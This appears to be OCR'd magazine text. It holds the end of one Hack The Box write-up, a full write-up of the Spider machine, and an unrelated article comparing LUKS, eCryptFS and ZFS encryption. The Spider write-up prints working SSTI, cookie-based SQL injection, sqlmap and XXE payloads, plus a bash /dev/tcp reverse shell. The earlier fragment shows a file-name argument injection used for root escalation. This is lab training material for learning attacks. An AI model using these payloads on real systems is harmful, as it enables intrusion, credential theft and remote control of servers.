 что бы он был вос при нят как параметр и при копиро вании

сох ранил ся S-атри бут. Пос ле копиро вания вла делец ско пиро ван ного фай ла
обо лоч ки поменя ется на root, что даст нам воз можность выпол нить ее в при- 
виле гиро ван ном кон тек сте.

bash

,--preserve=mode

lpe mkdir 
lpe cd 

cp /bin/bash ./ 
chmod +s ./bash 

9 echo > .version 
  echo > '--preserve=mode'

sudo /usr/local/bin/bindmgr.sh 

Ко пиро вание фай лов

Ос талось выпол нить при виле гиро ван ный Bash и заб рать файл рута.

/etc/bind/named.bindmgr/bash -p

Флаг рута

Ма шина зах вачена!

https://github.com/omurugur/OS_Command_Payload_List/blob/master/OS-Command-Fuzzing.txt
https://github.com/hanslub42/rlwrap
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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ВЗЛОМ

В этой статье я покажу, как про водят ся ата- 
ки server-side template injection, SQL
injection и XML external entity injection (XXE).
В этом мне поможет машина Spider слож- 
ного уров ня с пло щад ки .
Прис тупим!

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.10.243    spider.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим два откры тых пор та: 22 (служ ба SSH) и 80 — веб-сер вер nginx
1.14.0.

Пер вым делом откры ваем сайт. На нем мож но зарегис три ровать ся — луч- 
ше сра зу же это сде лать, что бы получить дос туп к боль шему чис лу фун кций,
которые мож но тес тировать.

Стар товая стра ница сай та

На что сто ит обра тить вни мание? Так как это интернет-магазин, здесь мож но
добав лять товары в кор зину. При этом исполь зуют ся cookie, но сде лать
с ними ничего инте рес ного пока нель зя, пос коль ку они закоди рова ны.

Еще на сай те есть фор ма поис ка. Я поп робовал скар мли вать ей раз ные
инте рес ные пос ледова тель нос ти из сво их сло варей, но уяз вимос тей
не нашел.

Ска ниро вание под доменов, дирек торий и дру гого кон тента тоже ничего
не дало. Поэто му я решил вер нуть ся к фор мам регис тра ции и авто риза ции.

Пер вое, на что натыка емся, — это огра ниче ние дли ны име ни поль зовате- 
ля.

Со обще ние об огра ниче нии дли ны логина

ÒÎ×ÊÀ ÂÕÎÄÀ

На любые кавыч ки и ком мента рии при регис тра ции име ни поль зовате ля
 фор ма никак не реаги рова ла.admin; #

Отоб ражение име ни поль зовате ля на глав ной стра нице

Отоб ражение име ни поль зовате ля на стра нице user

На осталь ные пат терны из спис ка тоже. Поэто му дела ем вывод, что фор ма
к SQL-инъ екци ям неуяз вима. Одна ко получа ется добить ся реак ции
при исполь зовании в име ни поль зовате ля тегов HTML! Нап ример, если ввес- 
ти юзер нейм , то на глав ной стра нице он отоб разит ся жир ным

шриф том, хоть на стра нице  и оста ется без изме нений.

<b>asd</b>
/user

Отоб ражение име ни поль зовате ля на глав ной стра нице

Отоб ражение име ни поль зовате ля на стра нице user

В подоб ных слу чаях, ког да работа ют теги HTML, сто ит сра зу про верить воз- 
можность внед рить шаб лон (server-side template injection). Очень час то
подоб ные уяз вимос ти сов мести мы с SSTI. И при исполь зовании име ни поль- 
зовате ля  на стра нице  обна ружим, что шаб лон сра ботал!{{7*7}} /user

Отоб ражение име ни поль зовате ля на глав ной стра нице

Отоб ражение име ни поль зовате ля на стра нице user

Óÿçâèìîñòü SSTI

 — это ата ка, при которой зло умыш- 
ленник внед ряет в шаб лон вре донос ный код. Шаб лоны стра ниц при дума ны
для того, что бы отде лить верс тку стра ниц от кода, но воз можность встав лять
в них динами чес кие дан ные иног да откры вает новые горизон ты.

Server-side template injection (SSTI)

Ес ли зло умыш ленни ку уда ется отпра вить на сер вер дан ные, которые будут
рас позна ны шаб лониза тором как дирек тивы внут ри шаб лона, это поз волит
манипу лиро вать дан ными и в некото рых слу чаях получить кон троль над сер- 
вером.

Мы огра ниче ны количес твом сим волов в наг рузке, поэто му сна чала поп- 
робу ем что-нибудь прос тое. Нап ример, получить кон фиг веб-сер вера. Вве- 
дем имя поль зовате ля .{{config}}

Отоб ражение име ни поль зовате ля на глав ной стра нице

Отоб ражение име ни поль зовате ля на стра нице user

Пол ный кон фиг из кода стра ницы

Из кон фига нас боль ше все го инте ресу ет атри бут . Сек ретный

ключ исполь зует ся для под писи фай ла cookie сеан са и при меня ется
для безопас ности в раз ных слу чаях. Поп робу ем для начала декоди ровать
cookie. Для это го будем исполь зовать модуль .

SECRET_KEY

flask-unsign

pip3 install flask-unsign 
  

  

flask-unsign --decode --cookie
'eyJjYXJ0X2l0ZW1zIjpbIjUiXSwidXVpZCI6ImRmZjM1N2FjLTg1ZGItNDA1Mi1iNTAy
LTg0NTdkY2JjZjAyNSJ9.
YMePlw.f3zJerezOkr4MsB9zEgRNnpN744' --secret
'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'

Де коди рова ние cookie

Так как в фай ле cookie хра нит ся пос тоян ный иден тифика тор поль зовате ля (по
нему осу щест вля ется авто риза ция), то и хра нить ся такие иден тифика торы
дол жны в базе дан ных. Нель зя ли в таком слу чае про вес ти SQL-инъ екцию
через cookie?

Óÿçâèìîñòü SQL injection

Обыч но я сна чала про веряю подоз ритель ные мес та по сло варям с уже
готовы ми пат терна ми, но тут его еще нуж но сос тавить. Возь мем, к при меру,
сло варь Generic_Union_Select_Payloads и сде лаем из него дру гой сло варь,
который будет содер жать cookie для перебо ра.

   from flask_unsign import session

   f = open('4.Generic_Union_Select_Payloads', 'rt').read().split('\n')[
:-1]

   for q in f:
         s = 'dff357ac-85db-4052-b502-8457dcbcf024'' + q

       print(session.sign({'uuid': s}, secret='
Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'))

Так как это UNION injection, нуж но, что бы в пер вом зап росе у нас был
несущес тву ющий иден тифика тор. Для это го я изме нил один сим вол в UUID.
Переби рать будем с помощью Burp Intruder. Выпол няем зап рос, перех- 
ватыва ем его в Burp Proxy и перенап равля ем для перебо ра. На вклад ке
Positions отме чаем cookie как пер вый параметр, а так же добав ляем еще один
любой заголо вок и так же помеча ем для перебо ра. Мы будем переби рать
методом Pitchfork. В этом слу чае дан ные из двух сло варей будут под став лять- 
ся одновре мен но. Так как в резуль тате ата ки наша наг рузка будет закоди- 
рова на, что бы не декоди ровать ее сно ва, во вто ром заголов ке будет исполь- 
зовать ся некоди рован ная наг рузка.

Burp Intruder — вклад ка Positions

На вклад ке Payloads выбира ем два сло варя, при этом для пер вого сло варя
уби раем галоч ку Payload Encoding.

Burp Intruder — вклад ка Payloads (payload 1)

Burp Intruder — вклад ка Payloads (payload 2)

В нас трой ках выбира ем один поток с задер жкой 1000 мс, что бы нас не бло- 
киро вали. И выпол няем ата ку.

Burp Intruder — вклад ка Options

Ре зуль тат ата ки

В резуль тате мож но уви деть мно го отве тов с кодом 500, но если отфиль тро- 
вать стро ки по коду отве та, то получим и те, которые вер нули ответ 200. Сайт
явно уяз вим к внед рению кода SQL, но, так как нам вер нули отве ты раз ной
дли ны, най дем в них раз личия. Выделя ем две стро ки и отправ ляем их в Burp
Comparer ( ). Затем выбира ем срав нение

по сло вам ( ).

Send to comparer (Responce)
Words

Burp Comparer

Срав нение отве тов

В ито ге вмес то нашего име ни поль зовате ля мы уви дим имя поль зовате ля
базы дан ных, что под твержда ет наличие уяз вимос ти. Что бы лег ко дос тать все
дан ные, исполь зуем sqlmap. Зада ем задер жку меж ду зап росами 

в одну секун ду, тех нику UNION ( ), мес то под ста нов ки наг рузки

помеча ем сим волом  и ука зыва ем шаб лон, при меня емый к зап росу.

( )--delay
--technique

*

 

 
  1 U 

sqlmap http://spider.htb/ --eval "from flask_unsign import session 
as sess; session = sess.sign({'uuid': session}, 
secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie=
"session=*" --delay --technique=

Стар товая стра ница сай та

Sqlmap нашел нуж ный зап рос и сох ранил для дан ного сай та. Спер ва получим
все базы (параметр ).--dbs

 

 
  1 

sqlmap http://spider.htb/ --eval "from flask_unsign import session 
as sess; session = sess.sign({'uuid': session}, 
secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie=
"session=*" --delay --dbs

По лучен ные базы дан ных

Нам инте рес на база . Получим все таб лицы (параметр )

из базы  (параметр ).

shop --tables
shop -D

 

 
  1 

sqlmap http://spider.htb/ --eval "from flask_unsign import session 
as sess; session = sess.sign({'uuid': session}, 
secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie=
"session=*" --delay -D shop --tables

Таб лицы в базе дан ных shop

Дам пим (параметр ) таб лицу  (параметр ), отту да мы можем
получить учет ные дан ные.

--dump users -T

 

 
  1 

sqlmap http://spider.htb/ --eval "from flask_unsign import session 
as sess; session = sess.sign({'uuid': session}, 
secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie=
"session=*" --delay -D shop --dump

Со дер жимое таб лицы users

Мы находим одно го поль зовате ля и его пароль в откры том виде. А пос ле
авто риза ции с получен ными учет ными дан ными получа ем дос туп к админке
сай та.

Стра ница /admin

У нас есть воз можность отправ лять сооб щения, а так же мы име ем дос туп
к получен ным. Перепис ка адми на — это инте рес но! В сооб щении нам откры- 
вает ся новый каталог на сай те:

http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.
supportportal 

Там тоже есть фор ма отправ ки сооб щений.

Со обще ния адми нис тра тора

Фор ма отправ ки сооб щений

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


HTB SPIDER
ЭКСПЛУАТИРУЕМ ИНЪЕКЦИЮ ШАБЛОНОВ

И УЯЗВИМОСТЬ В XML

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ. ÝÊÑÏËÓÀÒÀÖÈß SSTI

Пер вым делом я прос то закинул ссыл ку на свой сер вер, но никакой реак ции
не пос ледова ло. Тог да я сно ва стал фаз зить оба парамет ра на наличие SQLi
и SSTI в Burp Intruder. Так как мы не видим вывода, будем и в слу чае с SQL, и в
слу чае с шаб лонами тес тировать сле пые инъ екции.

С SQL ничего не выш ло, и я перешел к SSTI. В моих сло варях все наг рузки
содер жат в качес тве выпол няемых команд либо ,
либо обра щение на веб-сер вер. Пос ледова тель ность 

заменя ется реаль ным IP средс тва ми Burp. Так же запус тим лис тенер ICMP —
.

ping -c XXX.XXX.XXX.XXX
XXX.XXX.XXX.XXX

tcpdump

sudo tcpdump -i tun0 icmp 

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Во всех отве тах нам сооб щают, что работа ет WAF, который замеча ет сим вол
«точ ка».

От вет на все зап росы при ата ке

Тог да нем ного изме ним коман ду. Закоди руем IP в Base64 и таким обра зом
изба вим ся от точек.

  | echo 'ping -c 4 10.10.14.126' base64

Ко диро вание коман ды

В Burp Intruder на вклад ке Payloads выбира ем область Payload Options,
заменя ем коман ду в каж дой наг рузке и про буем сно ва.

Payload Options — замена в коман де

В окне tcpdump видим, что при шел пинг, который длил ся
с 11:45:01 до 11:45:04. В Burp добав ляем колон ку с отоб ражени ем вре мени
и даты зап роса и ищем коман ду, которая выпол нялась в этом отрезке вре- 
мени.

Ре зуль тат ата ки

Так мы опре деля ем сле дующую работа ющую наг рузку:

    

     

contact={% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]
["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]
("echo cGluZyAtYyA0IDEwLjEwLjE0LjEyNgo= | base64 -d | bash")["read"](
) %} a {% endwith %}&message=qweewqqwe

И сра зу кида ем реверс-шелл.

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

В таких слу чаях при годит ся  — readline-обо лоч ка, которая в чис ле
про чего поз воля ет поль зовать ся исто рией команд. Она обыч но дос тупна
в репози тории дис три бути ва.

rlwrap

apt install rlwrap 

В качес тве самого лис тенера при этом мож но исполь зовать широко извес- 
тный netcat.

 rlwrap nc -lvp [port] 

Те перь кодиру ем сле дующий реверс-шелл и под став ляем в зап рос дан ные,
закоди рован ные в Вase64. Пос ле отправ ки получа ем бэк коннект.

  | echo 'bash -i >& /dev/tcp/10.10.14.126/4321 0>&1' base64

Ко диро вание наг рузки

Флаг поль зовате ля

ÇÀÊÐÅÏËÅÍÈÅ

Та кая обо лоч ка не сов сем ста биль на, и при потере соеди нения при дет ся
соз давать реверс сно ва. Поэто му нуж но выб рать один из спо собов сох ранить
дос туп или лег ко его вос ста новить. В дан ном слу чае мы находим при ват ный
ключ SSH.

Ключ SSH поль зовате ля

Сох раня ем его на локаль ную машину, наз нача ем пра ва и под клю чаем ся.

chmod 0600 id_rsa 
ssh -i id_rsa chiv@spider.htb 

Под клю чение по SSH

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Нуж но прод вигать ся даль ше. В выборе нап равле ния для поис ков нам,
как всег да, помогут скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го. Что бы соб рать информа цию и наметить цели, мож- 
но исполь зовать  (PEASS) — набор
скрип тов, которые про веря ют сис тему на авто мате.

Privilege Escalation Awesome Scripts SUITE

Я на этот раз взял вари ант . Запус каем его и в выводе обна ружим, что
на локаль ном хос те прос лушива ется порт 8080, при чем сер вер работа ет
в кон тек сте учет ной записи root.

LinEnum

Прос лушива емые пор ты

Да вай про кинем порт с помощью SSH и будем тун нелиро вать тра фик
с локаль ного пор та 8081 на порт 8080 сер вера. Пос ле чего обра тим ся к уда- 
лен ному сер вису по адре су  через бра узер.http://127.0.0.1:8081/

ssh -i id_rsa -L 8081:127.0.0.1:8080 chiv@spider.htb 

Фор ма авто риза ции

Поб родив нем ного по сай ту (конеч но, про пус кая все через Burp Proxy),
заметим, что при авто риза ции исполь зует ся два парамет ра, а в cookie уже
зна комый нам фор мат.

Ав ториза ция

Пе реход к стра нице site

Де коди руем cookie и видим закоди рован ные в Вase64 дан ные. Декоди руем
Вase64 и получа ем информа цию в виде XML.

  flask-unsign --decode --cookie '.eJxNjE1Pg...8A4'

Де коди рова ние cookie

Тут воз никло сра зу две идеи, обе свя заны с манипу ляци ей фор матом XML.
Пер вая идея — ата ка XXE и чте ние фай лов, так как имя поль зовате ля отоб- 
ража ется на стра нице; вто рая — манипу ляция парамет ром .is_admin

Стар товая стра ница сай та

Да вай про ведем авто риза цию заново и впи шем  в качес тве име ни поль- 

зовате ля и пароля. Декоди ровав cookie, уви дим, что и вто рой параметр будет
отра жен в XML.

test

Ав ториза ция

Де коди рова ние cookie

Óÿçâèìîñòü XXE

 — это уяз вимость в сер висах, под- 

держи вающих про токо лы SOAP и XML-RPC, которые при нима ют вход ные дан- 
ные в виде XML-докумен та. XML под держи вает вклю чение сек ции DTD, а сек- 
ции DTD, в свою оче редь, могут под клю чать к докумен ту допол нитель ные ком- 
понен ты, так называ емые внеш ние сущ ности. Внеш ние сущ ности явля ются
отдель ными фай лами и зада ются с помощью клю чево го сло ва SYSTEM и URI.
Если пар сер XML невали диру ющий, он может прос то заг рузить внеш нюю
сущ ность и под клю чить к содер жимому докумен та XML. Зло умыш ленник
может под ста вить в URI внеш ней сущ ности le URI, ука зыва ющий на уда лен- 
ный или локаль ный файл в сис теме.

XML external entity (XXE) injection

Так, один из парамет ров ( ) исполь зует в начале XML в ком мента- 

рии. То есть, манипу лируя этим парамет ром, мы можем сна чала зак рыть ком- 
мента рий, дописать в документ дан ные, а затем сно ва открыть ком мента рий,
что бы «зачис тить» оставши еся дан ные.

version

При :version=ASD

<!-- API Version ASD -->

При :version=-->ASD<!--

ASD<!-- API Version --> <!-- -->

Так мы можем объ явить  с име нем , а затем внут ри него объ явить

сущ ность . Будем исполь зовать иден тифика тор , что бы получить
содер жимое фай ла . Затем в парамет ре

 вве дем  для вывода содер жимого фай ла. Для это го переда ем

парамет ры со сле дующи ми зна чени ями:

DOCTYPE foo
r SYSTEM

/root/.ssh/authorized_keys
username &r;

username=%26r%3b&version=1.0.0--><!DOCTYPE+foo+[<!ENTITY+r+SYSTEM+"/
root/.ssh/id_rsa">+]><!--

До кумент будет выг лядеть так:

<!DOCTYPE foo [<!ENTITY r SYSTEM "/root/.ssh/id_rsa"> ]> 
<root>
   <data>
       <username>&r;</username>

0       <is_admin> </is_admin>
   </data>
</root>

Де коди рова ние cookie

И вмес то име ни фай ла получа ем при ват ный SSH-ключ, с которым можем
авто ризо вать ся по SSH как root.

Стар товая стра ница сай та

Флаг рута

Мы зах ватили оче ред ную машину!

https://github.com/hanslub42/rlwrap
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/rebootuser/LinEnum
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ТРЮКИ

Мно гие дис три бути вы Linux в качес тве
штат ных средств защиты пред лага ют пол- 
нодис ковое шиф рование (LUKS), шиф- 
рование папок и фай лов (eCryptFS)
или даже шиф рование средс тва ми ZFS,
нерод ной для Linux фай ловой сис темы.
Какой из дос тупных спо собов име ет смысл
выб рать сегод ня? Поп робу ем разоб рать ся.

LUKS

LUKS (Linux Unied Key Setup), а если быть точ ным, dm-crypt, — это клас- 
сичес кая, уни вер саль ная, высокоп роиз водитель ная, хорошо изу чен ная и не
име ющая обна ружен ных уяз вимос тей сис тема шиф рования дис ков. LUKS
под держи вает мно гочис ленные алго рит мы шиф рования и режимы работы,
а так же нес коль ко хеш-фун кций. В качес тве алго рит ма шиф рования мож но
выб рать один из мно жес тва под держи ваемых, в час тнос ти AES, Serpent,
Twosh, CAST-128 и CAST-256, которые могут работать в одном из четырех
режимов: ECB, CBC-PLAIN64, CBC-ESSIV:hash или XTS-PLAIN64. Чаще все го
по умол чанию исполь зует ся ком бинация парамет ров CBC-
ESSIV:SHA256 с шиф ровани ем AES и 256-бит ным клю чом.

INFO

Под робнее о том, что такое LUKS и как его
исполь зовать, мож но почитать в стать ях «

»
и «

».

Пол- 
нодис ковое шиф рование с LUKS2. Изу чаем новую
вер сию популяр ного средс тва шиф рования
для Linux и про веря ем, мож но ли его взло мать

LUKS good! Ста вим Linux на шиф рован ный раз- 
дел и дела ем удоб ной работу с ним

В про цес се соз дания зашиф рован ного дис ка или кон тей нера поль зователь
может ука зать любой алго ритм шиф рования. Тем не менее исполь зование
любого алго рит ма шиф рования, кро ме AES, контрпро дук тивно: реаль ная
безопас ность (как и ско рость под бора пароля при ата ке) не уве личи вает ся,
а вот ско рость работы стра дает очень силь но из-за того, что AES — единс- 
твен ный алго ритм шиф рования, получив ший аппа рат ную под дер жку в виде
набора команд про цес сора AES-NI.

Хеш-фун кции, или фун кции односто рон него крип тогра фичес кого пре- 
обра зова ния, исполь зуют ся для пре обра зова ния пароля в дво ичный ключ
в сос таве Key Derivation Function (KDF). LUKS под держи вает сле дующие вари- 
анты: SHA-1, SHA-256, SHA-512, RIPEMD160 и Whirlpool. Однознач но
не рекомен дую поль зовать ся SHA-1 и RIPEMD160. SHA-256 — выбор
по умол чанию, но и фун кции SHA-512 и Whirlpool не хуже.

Од на из инте рес ных воз можнос тей LUKS — под дер жка нес коль ких (до
вось ми) сло тов клю чей. Каж дый из вось ми сло тов может быть защищен сво- 
им собс твен ным уни каль ным паролем или клю чом. С одной сто роны, это поз- 
воля ет раз бло киро вать зашиф рован ные дис ки раз ным поль зовате лям, каж- 
дый — сво им собс твен ным паролем. С дру гой — для рас шифров ки дан ных
дос таточ но взло мать любой пароль к любому из занятых сло тов. В заголов ке
LUKS про писа на информа ция о том, какие из сло тов клю чей заняты (то есть
содер жат дей стви тель ные клю чи для дос тупа к дан ным), а какие пус туют.

Важ ное следс твие из такого механиз ма: уда ление пос ледне го из дос- 
тупных клю чей дела ет рас шифров ку дан ных невоз можной, что поз воля ет
мгно вен но (или очень быс тро) нав сегда заб локиро вать дос туп к зашиф рован- 
ным дан ным.

Есть, одна ко, у LUKS и свои недос татки. С одной сто роны, шиф рование
дис ка или раз дела целиком отлично защища ет дан ные, при этом ско рость
дос тупа к зашиф рован ным дан ным мало отли чает ся от ско рос ти дос тупа
к незашиф рован ному мас сиву информа ции. С дру гой — шиф рование дей- 
стви тель но  дан ных озна чает, что для про веде ния любых опе раций
с зашиф рован ным дис ком, вклю чая про вер ку целос тнос ти фай ловой сис- 
темы, нуж но смон тировать так же весь диск целиком. Сде лать резер вную
копию, соз дать или вос ста новить снап шот зашиф рован ного дис ка без вво да
клю ча шиф рования не удас тся.

всех

Проб лема соз дания и вос ста нов ления резер вных копий, в том чис ле
на недове рен ные уда лен ные компь юте ры, побуди ла раз работ чиков искать
аль тер натив ные спо собы шиф рования. Одним из них ста ли крип тогра фичес- 
кие (шиф рующие) фай ловые сис темы.

ÊÐÈÏÒÎÃÐÀÔÈ×ÅÑÊÈÅ ÔÀÉËÎÂÛÅ ÑÈÑÒÅÌÛ

По мимо шиф рования дис ков целиком, в Linux мож но исполь зовать и шиф- 
рование на уров не папок (крип тогра фичес кие ФС). Такое шиф рование мож но
вклю чать как на обыч ных, так и на зашиф рован ных дис ках. В готовых сетевых
хра нили щах чаще все го исполь зует ся пер вый вари ант, но в отдель ных слу чаях
(нап ример, в некото рых моделях QNAP) мож но исполь зовать и вто рой.

Поль зовате лям дос тупен доволь но широкий выбор крип тогра фичес ких
фай ловых сис тем. Сре ди них мож но выделить две: eCryptFS, работа ющую
на уров не ядра и не исполь зующую FUSE, и EncFS, работа ющую в прос транс- 
тве поль зовате ля через FUSE.

eCryptFS шиф рует каж дый файл по отдель нос ти; метадан ные шиф рования
для каж дого фай ла хра нят ся в его заголов ке. Таким обра зом, как каж дый
отдель ный файл, так и целые пап ки мож но спо кой но копиро вать меж ду
компь юте рами. Это поз воля ет орга низо вать сис тему «сле пого» резер вно го
копиро вания, ког да копиру ются или син хро низи руют ся толь ко те зашиф- 
рован ные фай лы, которые были изме нены. В то же вре мя eCryptFS не поз- 
воля ет вос поль зовать ся фун кци ями дедуп ликации фай ловой сис темы: каж- 
дый зашиф рован ный файл исполь зует уни каль ную соль, в резуль тате чего
содер жимое даже иден тичных изна чаль но фай лов в зашиф рован ном виде
будет раз личать ся (с точ ки зре ния безопас ности это пра виль но).

eCryptFS час то исполь зует ся для шиф рования домаш них катало гов поль- 
зовате лей (в этом слу чае адми нис тра тор может нас тро ить «сле пое» резер- 
вное копиро вание), а так же в ряде сетевых хра нилищ (NAS) про изводс тва
Asustor, QNAP, Synology, TerraMaster и некото рых дру гих.

WARNING

Са мая популяр ная аль тер натива eCryptFS — шиф- 
рующая фай ловая сис тема EncFS. В отли чие
от пре дыду щего eCryptFS, EncFS работа ет
в прос транс тве поль зовате ля без каких-либо
допол нитель ных при виле гий через фрей мворк
FUSE. К сожале нию, не так дав но в ней была най- 
дена серь езная уяз вимость, которая дела ет ее
небезо пас ной для исполь зования.

eCryptFS под держи вает нес коль ко алго рит мов шиф рования, вклю чая AES,
Blowsh, DES3_EDE, Twosh, CAST6 и CAST5. Так же как и в дру гих слу чаях,
исполь зовать отличный от AES алго ритм шиф рования смыс ла нет: надеж- 
ность AES дос таточ на, а ско рость работы это го шиф ра нам ного пре выша ет
ско рость работы аль тер натив бла года ря аппа рат ному уско рению набором
инс трук ций AES-NI.

eCryptFS шиф рует каж дый файл по отдель нос ти; опци ональ но могут быть
зашиф рованы и име на фай лов и папок (в этом слу чае налага ются огра ниче- 
ния на дли ну имен фай лов, которая не может пре вышать 143 сим вола ASCII).

Каж дый файл шиф рует ся сге нери рован ным слу чай ным обра зом сес сион- 
ным клю чом, который в зашиф рован ном виде (поль зователь ским клю чом
или паролем) сох раня ется в метадан ных. Сами метадан ные записы вают ся
в заголо вок фай ла, что поз воля ет прос то ско пиро вать зашиф рован ный файл
на дру гой компь ютер и рас шифро вать его штат ным обра зом.

Та кой спо соб защиты вро де бы и поз воля ет обой ти огра ниче ния, налага- 
емые LUKS: что бы соз дать или вос ста новить резер вную копию, ключ шиф- 
рования не нужен — копиру ются и вос ста нав лива ются зашиф рован ные фай- 
лы, каж дый из которых содер жит все необ ходимое для их рас шифров ки. Но к
сожале нию, это, навер ное, единс твен ное дос тоинс тво eCryptFS и подоб ных
крип тогра фичес ких фай ловых сис тем. К недос таткам отно сят ся:
1. Не высо кая про изво дитель ность. В каж дый зашиф рован ный файл добав- 

ляет ся заголо вок, который содер жит метадан ные шиф рования. Осо бен но
силь но стра дает ско рость дос тупа к неболь шим фай лам.

2. Низ кий уро вень безопас ности. Наружу уте кают дан ные о количес тве фай- 
лов в катало гах, раз мере и дате модифи кации каж дого фай ла.

3. При шиф ровании папок в сетевых хра нили щах нет воз можнос ти сме нить
пароль шиф рования. Ском про мети рован ный пароль озна чает, что необ- 
ходимо пол ностью перешиф ровать дан ные.

4. Фун кци ональ ные огра ниче ния. При шиф ровании имен фай лов и папок
дли на име ни фай ла не может пре вышать 143 сим вола ASCII. В зависи мос- 
ти от некото рых парамет ров могут быть и дру гие огра ниче ния (нап ример,
невоз можно исполь зовать сетевые пап ки с NFS).

5. Не работа ют некото рые фун кции фай ловой сис темы. В час тнос ти,
в зашиф рован ных пап ках не дей ству ет механизм дедуп ликации.

Все эти огра ниче ния при вели к тому, что раз работ чики серь езно задума лись
о соз дании такой сис темы защиты дан ных, которая сочета ла бы дос тоинс тва
шиф рования дис ков и папок без их недос татков. И такая сис тема была соз- 
дана — в рам ках про екта OpenZFS 2.0.

ZFS

Фай ловая сис тема ZFS, кор ни которой рас тут из Solaris, дав но дос тупна поль- 
зовате лям Linux и FreeBSD. В некото рые дис три бути вы OpenZFS 2.0 вхо дит
в качес тве штат ного пакета, в дру гих ее мож но уста новить отдель но. Боль- 
шинс тво дис три бути вов без проб лем заг ружа ется с раз делов ZFS.

ZFS — неч то боль шее, чем прос то фай ловая сис тема. Средс тва ми ZFS
мож но соз давать мно годис ковые кон фигура ции и управлять ими без исполь- 
зования mdadm и LVM, соз давать и реп лициро вать снап шоты, в том чис ле
на уда лен ных сер верах. Неуди витель но, что и для защиты дан ных раз работ- 
чики ZFS сде лали свою собс твен ную встро енную сис тему, не исполь зующую
dm-crypt.

INFO

Крат ко о новом стан дарте шиф рования native ZFS
encryption я рас ска зал в статье «

».

TrueNAS,
TrueNAS или OMV? Выбира ем софт для сетево го
хра нили ща

Что инте рес ного мож но ска зать о шиф ровании ZFS?
По жалуй, основной момент в том, что встро енное шиф рование ZFS

позици они рует ся в качес тве осов ременен ной замены тра дици онным средс- 
твам шиф рования дис ков наподо бие LUKS или встро енно го в ОС FreeBSD
GELI и при этом обла дает рядом пре иму ществ, ранее дос тупных толь ко
при исполь зовании крип тогра фичес ких фай ловых сис тем. Шиф рование в ZFS
тес но интегри рова но с фун кци ями фай ловой сис темы. В отли чие от LUKS,
на зашиф рован ных томах без вво да клю ча шиф рования мож но выпол нять
боль шинс тво, если не все коман ды zfs и zpool, вклю чая опе рации по верифи- 
кации целос тнос ти дан ных, снап шоты и их реп ликацию, дедуп ликацию дан ных
и мно гое дру гое. Для срав нения: если диск зашиф рован средс тва ми dm-
crypt, то для выпол нения подоб ных опе раций пот ребу ется сна чала ввес ти
ключ шиф рования.

В срав нении с шиф ровани ем на уров не фай ловой сис темы (eCryptFS),
которое так же поз воля ет соз давать и реп лициро вать зашиф рован ные снап- 
шоты и кон тро лиро вать целос тность зашиф рован ных дан ных без клю ча, шиф- 
рование ZFS име ет нес коль ко пре иму ществ. Здесь и зна читель но более
высокая ско рость шиф рования (осо бен но замет но на неболь ших фай лах),
и более высокий уро вень безопас ности: на сто рону не уте кают дан ные о чис- 
ле и раз мерах папок и фай лов и вре мени их модифи кации. Разуме ется, ключ
шиф рования мож но сме нить в любой момент (eCryptFS это го сде лать не поз- 
воля ет), а при необ ходимос ти (нап ример, при про даже дис ка или отправ ке
в сер вис) — прак тичес ки мгно вен но унич тожить все дан ные, прос то затерев
метадан ные шиф рования.

Раз работ чики утвер жда ют, что исполь зование встро енно го в ZFS шиф- 
рования поз воля ет решить сле дующие проб лемы тра дици онных методов.

Ïðîáëåìû ñ øèôðîâàíèåì ïàïîê (ecryptfs)

Ес ли дан ные шиф руют ся перед сжа тием, они ста новят ся нес жима емы ми.•
Не работа ет дедуп ликация.•
Ме тадан ные шиф рования записы вают ся в заголо вок каж дого фай ла (уве- 
личи вает ся объ ем хра нимых дан ных, осо бен но если хра нит ся мно жес тво
мел ких фай лов).

•

Ïîëíîäèñêîâîå øèôðîâàíèå (dm-crypt)

Мно гок ратное шиф рование пов торя ющих ся дан ных.•
